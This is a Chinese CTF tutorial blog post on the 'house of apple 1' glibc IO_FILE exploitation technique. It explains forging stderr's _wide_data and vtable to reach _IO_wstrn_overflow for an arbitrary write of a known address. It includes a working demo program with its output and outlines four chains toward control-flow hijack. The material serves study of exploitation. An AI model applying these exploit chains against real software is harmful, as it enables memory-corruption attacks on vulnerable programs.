买不起的大house之house of apple1

前言

在高版本的 glibc 中逐渐移除了__malloc_hook/__free_hook/__realloc_hook等一众hook全局变量,这意味着在 CTF 竞赛中利用 “hook” 来控制程序流成为了过去式。而想要在高版本利用成功,基本上就离不开对IO_FILE结构体的伪造与IO流的攻击

下面介绍一种由roderick01师傅发现的链子称之为 house of apple
hosue of apple 一共有三条链子本文将介绍 apple1

利用条件

  1. 程序从main函数返回或能调用exit函数
  2. 能泄露出heap地址和libc地址
  3. 能使用一次largebin attack(一次即可)或 其他可以改写_IO_file堆地址的方法

作用效果

地址A为我们改写的stderr(IO_FILE)的堆地址。可以将我们填入的地址B(填在stderr->_wide_data)BB+0x40 全部都改写成 A+0xf0 (除_IO_read_end(B+0x8)_IO_buf_end(B+0x38) 这两个地方会被改写成 A+0x1f0

利用原理

注:原理解释均基于amd64程序

当程序从main函数返回或者执行`exit`函数的时候,均会调用fcloseall函数,该调用链如下:
- exit
    - fcloseall
        - _IO_cleanup
            - _IO_flush_all_lockp
                - _IO_OVERFLOW

最后会遍历_IO_list_all存放的每一个IO_FILE结构体,如果满足条件的话,会调用每个结构体中vtable->_overflow函数指针指向的函数。

使用largebin attack可以劫持_IO_list_all变量,将对应的堆地址伪造成我们想要的IO_FILE结构体的样子,而在此时,我们其实仍可以继续利用某些IO流函数去修改其他地方的值。要想修改其他地方的值,就离不开_IO_FILE的一个成员_wide_data的利用

struct _IO_FILE_complete  
{  
	struct _IO_FILE _file;  
	__off64_t _offset;  
	/* Wide character stream stuff. */  
	struct _IO_codecvt *_codecvt;  
	struct _IO_wide_data *_wide_data; // 劫持这个变量  
	struct _IO_FILE *_freeres_list;  
	void __freeres_buf;  
	size_t __pad5;  
	int _mode;  
	/_ Make sure we don't get into trouble again. */  
	char _unused2[15 * sizeof(int) - 4 * sizeof(void *) - sizeof(size_t)];  
};

struct _IO_wide_data *_wide_data_IO_FILE中的偏移为0xa0
下面是_IO_FILE的偏移表

_IO_FILE:
0x0: '_flags',
0x8: '_IO_read_ptr',
0x10: '_IO_read_end',
0x18: '_IO_read_base',
0x20: '_IO_write_base',
0x28: '_IO_write_ptr',
0x30: '_IO_write_end',
0x38: '_IO_buf_base',
0x40: '_IO_buf_end',
0x48: '_IO_save_base',
0x50: '_IO_backup_base',
0x58: '_IO_save_end',
0x60: '_markers',
0x68: '_chain',
0x70: '_fileno',
0x74: '_flags2',
0x78: '_old_offset',
0x80: '_cur_column',
0x82: '_vtable_offset',
0x83: '_shortbuf',
0x88: '_lock',
0x90: '_offset',
0x98: '_codecvt',
0xa0: '_wide_data',
0xa8: '_freeres_list',
0xb0: '_freeres_buf',
0xb8: '__pad5',
0xc0: '_mode',
0xc4: '_unused2',
0xd8: 'vtable'

我们在伪造_IO_FILE结构体的时候,伪造_wide_data变量,然后通过某些函数,比如_IO_wstrn_overflow就可以将已知地址空间上的某些值修改为一个已知值

static wint_t
_IO_wstrn_overflow(FILE *fp, wint_t c)
{
    /* 当我们到达这里时,意味着用户提供的缓冲区已满。
       但由于我们必须返回总共将要写入的字符数,
       因此我们必须为进一步使用提供一个缓冲区。
       我们可以通过在 _IO_wstrnfile 结构体的溢出缓冲区中不断写入来实现这一点。 */
    _IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

    if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
    {
        _IO_wsetb(fp, snf->overflow_buf,
                  snf->overflow_buf + (sizeof(snf->overflow_buf)
                                       / sizeof(wchar_t)), 0);

        fp->_wide_data->_IO_write_base = snf->overflow_buf;
        fp->_wide_data->_IO_read_base = snf->overflow_buf;
        fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
        fp->_wide_data->_IO_read_end = (snf->overflow_buf
                                       + (sizeof(snf->overflow_buf)
                                          / sizeof(wchar_t)));
    }

    fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
    fp->_wide_data->_IO_write_end = snf->overflow_buf;

    /* 由于我们不真正关心存储不适合缓冲区的字符,
       因此我们直接忽略它。 */
    return c;
}

分析一下这个函数,首先将fp强转为_IO_wstrnfile *指针,然后判断fp->_wide_data->_IO_buf_base != snf->overflow_buf是否成立(一般肯定是成立的),如果成立则会对fp->_wide_data_IO_write_base_IO_read_base_IO_read_ptr_IO_read_end赋值为snf->overflow_buf或者与该地址一定范围内偏移的值;最后对fp->_wide_data_IO_write_ptr_IO_write_end赋值。

也就是说,只要控制了fp->_wide_data,就可以控制从fp->_wide_data开始一定范围内的内存的值,也就等同于任意地址写已知地址

这里有时候需要绕过_IO_wsetb函数里面的free

void
_IO_wsetb(FILE *f, wchar_t *b, wchar_t *eb, int a)
{
    if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
        free(f->_wide_data->_IO_buf_base); // 其不为0的时候不要执行到这里
    f->_wide_data->_IO_buf_base = b;
    f->_wide_data->_IO_buf_end = eb;
    if (a)
        f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
    else
        f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}

_IO_wstrnfile涉及到的结构体如下:

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer_unused;
  _IO_free_type _free_buffer_unused;
};

struct _IO_streambuf
{
  FILE _f;
  const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

typedef struct
{
  _IO_strfile f;
  /* 这是用于存储不适合用户提供的缓冲区的字符。 */
  char overflow_buf[64];
} _IO_strnfile;

typedef struct
{
  _IO_strfile f;
  /* 这是用于存储不适合用户提供的缓冲区的字符。 */
  wchar_t overflow_buf[64]; // overflow_buf在这里********
} _IO_wstrnfile;

其中,overflow_buf相对于_IO_FILE结构体的偏移为0xf0,在vtable后面。

struct _IO_wide_data结构体如下:

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* 当前读取指针 */
  wchar_t *_IO_read_end;    /* 获取区域的结束位置 */
  wchar_t *_IO_read_base;   /* 回退+获取区域的起始位置 */
  wchar_t *_IO_write_base;  /* 写入区域的起始位置 */
  wchar_t *_IO_write_ptr;   /* 当前写入指针 */
  wchar_t *_IO_write_end;   /* 写入区域的结束位置 */
  wchar_t *_IO_buf_base;    /* 保留区域的起始位置 */
  wchar_t *_IO_buf_end;     /* 保留区域的结束位置 */
  /* 以下字段用于支持回退和撤销操作 */
  wchar_t *_IO_save_base;   /* 非当前获取区域的起始位置 */
  wchar_t *_IO_backup_base; /* 回退区域的第一个有效字符的指针 */
  wchar_t *_IO_save_end;    /* 非当前获取区域的结束位置 */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};

换而言之,假如此时在堆上伪造一个_IO_FILE结构体并已知其地址为A,将A + 0xd8 (vtable)替换为_IO_wstrn_jumps地址,A + 0xa0 (_wide_data)设置为B,并设置其他成员以便能调用到_IO_OVERFLOW exit函数则会一路调用到_IO_wstrn_overflow函数,并将 BB + 0x38 的地址区域的内容都替换为 A + 0xf0 或者 A + 0x1f0

下面直接用roderick01师傅写的demo来举个例子

#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include <string.h>
 
void main()
{
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setvbuf(stderr, 0, 2, 0);
    puts("[*] allocate a 0x100 chunk");
    size_t *p1 = malloc(0xf0);
    size_t *tmp = p1;
    size_t old_value = 0x1122334455667788;
    for (size_t i = 0; i < 0x100 / 8; i++)
    {
        p1[i] = old_value; // 就是把p1中全部的内容都变成old_value
    }
    puts("===========================old value=======================");
    for (size_t i = 0; i < 4; i++)
    {
        printf("[%p]: 0x%016lx  0x%016lx\n", tmp, tmp[0], tmp[1]);
        tmp += 2;
    }
    puts("===========================old value=======================");
 
    size_t puts_addr = (size_t)&puts;
    printf("[*] puts address: %p\n", (void *)puts_addr);
    size_t stderr_write_ptr_addr = puts_addr + 0x1997b8;
    printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
    size_t stderr_flags2_addr = puts_addr + 0x199804;
    printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
    size_t stderr_wide_data_addr = puts_addr + 0x199830;
    printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
    size_t sdterr_vtable_addr = puts_addr + 0x199868;
    printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
    size_t _IO_wstrn_jumps_addr = puts_addr + 0x194ed0;
    printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
 
    puts("[+] step 1: change stderr->_IO_write_ptr to -1");
    *(size_t *)stderr_write_ptr_addr = (size_t)-1;
 
    puts("[+] step 2: change stderr->_flags2 to 8");
    *(size_t *)stderr_flags2_addr = 8;
 
    puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
    *(size_t *)stderr_wide_data_addr = (size_t)p1;
 
    puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
    *(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;
 
    puts("[+] step 5: call fcloseall and trigger house of apple");
    fcloseall();
    tmp = p1;
    puts("===========================new value=======================");
    for (size_t i = 0; i < 4; i++)
    {
        printf("[%p]: 0x%016lx  0x%016lx\n", tmp, tmp[0], tmp[1]);
        tmp += 2;
    }
    puts("===========================new value=======================");
}

输出结果如下:

roderick@ee8b10ad26b9:~/hack$ gcc demo.c -o demo -g -w && ./demo
[*] allocate a 0x100 chunk
===========================old value=======================
[0x55cfb956d2a0]: 0x1122334455667788  0x1122334455667788
[0x55cfb956d2b0]: 0x1122334455667788  0x1122334455667788
[0x55cfb956d2c0]: 0x1122334455667788  0x1122334455667788
[0x55cfb956d2d0]: 0x1122334455667788  0x1122334455667788
===========================old value=======================
[*] puts address: 0x7f648b8a6ef0
[*] stderr->_IO_write_ptr address: 0x7f648ba406a8
[*] stderr->_flags2 address: 0x7f648ba406f4
[*] stderr->_wide_data address: 0x7f648ba40720
[*] stderr->vtable address: 0x7f648ba40758
[*] _IO_wstrn_jumps address: 0x7f648ba3bdc0
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x55cfb956d2a0]: 0x00007f648ba40770  0x00007f648ba40870
[0x55cfb956d2b0]: 0x00007f648ba40770  0x00007f648ba40770
[0x55cfb956d2c0]: 0x00007f648ba40770  0x00007f648ba40770
[0x55cfb956d2d0]: 0x00007f648ba40770  0x00007f648ba40870
===========================new value=======================

从输出中可以看到,已经成功修改了sdterr->_wide_data所指向的地址空间的内存

总结利用流程(此处假设 stderr 的地址为 A):

  1. 想办法修改 stderr->_IO_write_ptr-1
  2. 修改 stderr->_flags28
  3. 修改 stderr->_wide_data地址B
  4. 修改 stderr->vtable_IO_wstrn_jumps
  5. 最后调用 exit 等方法来触发apple1
    会将 BB+0x40 的位置全部改写为 A+0xf0(除 _IO_read_end(B+0x8)_IO_buf_end(B+0x38) 会被改写成 A+0x1f0
    在这里插入图片描述

因为它的效果仅仅是利用IO来进行任意地址写已知地址,所以我们还需要配合其他漏洞才能获得flag

下面是roderick01师傅给出的四种结合house of apple1来获取flag的方法

思路一:修改tcache线程变量

该思路需要借助house of pig的思想,利用_IO_str_overflow中的malloc进行任意地址分配,memcpy进行任意地址覆盖。其代码片段如下:

int 
_IO_str_overflow(FILE *fp, int c)
{
        // ......
      char *new_buf;
      char *old_buf = fp->_IO_buf_base; // 赋值为old_buf
      size_t old_blen = _IO_blen(fp);
      size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf = malloc(new_size); // 这里任意地址分配
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy(new_buf, old_buf, old_blen); // 劫持_IO_buf_base后即可任意地址写任意值
          free(old_buf);
      // .......
}

利用步骤如下:

  • 伪造至少两个_IO_FILE结构体
  • 第一个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改tcache全局变量为已知值,也就控制了tcache bin的分配
  • 第二个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_str_overflow中的malloc函数任意地址分配,并使用memcpy使得能够任意地址写任意值
  • 利用两次任意地址写任意值修改pointer_guardIO_accept_foreign_vtables的值绕过_IO_vtable_check函数的检测(或者利用一次任意地址写任意值修改libc.got里面的函数地址,很多IO流函数调用strlen/strcpy/memcpy/memset等都会调到libc.got里面的函数)
  • 文章 - IO FILE 之vtable check 以及绕过 - 先知社区
  • glibc 2.24开始的vtable check及其绕过 | 时钟
  • 利用一个_IO_FILE,随意伪造vtable劫持程序控制流即可

因为可以已经任意地址写任意值了,所以这可以控制的变量和结构体非常多,也非常地灵活,需要结合具体的题目进行利用,比如题目中_IO_xxx_jumps映射的地址空间可写的话直接修改其函数指针即可。

思路二:修改mp_结构体

该思路与上述思路差不多,不过对tcachebin分配的劫持是通过修改mp_.tcache_bins这个变量。打这个结构体的好处是在攻击远程时不需要爆破地址,因为线程全局变量、tls结构体的地址本地和远程并不一定是一样的,有时需要爆破。

利用步骤如下:

  • 伪造至少两个_IO_FILE结构体
  • 第一个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改mp_.tcache_bins为很大的值,使得很大的chunk也通过tcachebin去管理
  • 接下来的过程与上面的思路是一样的
思路三:修改pointer_guard线程变量之house of emma

该思路其实就是house of apple + house of emma

利用步骤如下:

  • 伪造两个_IO_FILE结构体
  • 第一个_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改tls结构体pointer_guard的值为已知值
  • 第二个_IO_FILE结构体用来做house of emma利用即可控制程序执行流
思路四:修改global_max_fast全局变量

这个思路也很灵活,修改掉这个变量后,直接释放超大的chunk,去覆盖掉point_guard或者tcache变量。我称之为house of apple + house of corrision

参考:
1.[原创] House of apple 一种新的glibc中IO攻击方法 (1)-Pwn-看雪-安全社区|安全招聘|kanxue.com
2.house of apple – 博的blog

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值